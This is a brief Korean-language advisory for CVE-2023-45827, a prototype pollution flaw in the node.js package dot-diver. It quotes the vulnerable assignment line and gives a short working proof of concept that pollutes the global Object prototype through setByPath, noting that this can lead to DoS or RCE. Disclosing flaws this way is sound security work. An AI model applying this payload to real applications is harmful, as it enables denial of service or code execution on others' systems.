
pp
CVE-2023-45827
CVSS : 9.8
Nov 3, 2023
node.js 패키지의 프로토타입 오염(Prototype Pollution)
rebob 프로젝트의 일환
이것은 dot-diver의 프로토타입 오염(Prototype Pollution, PP) 취약점입니다. RCE로 이어질 수 있습니다.
취약한 코드
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
poc
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
이것은 프로토타입 오염(Prototype Pollution, PP)이며 DoS, RCE 등으로 이어질 수 있습니다.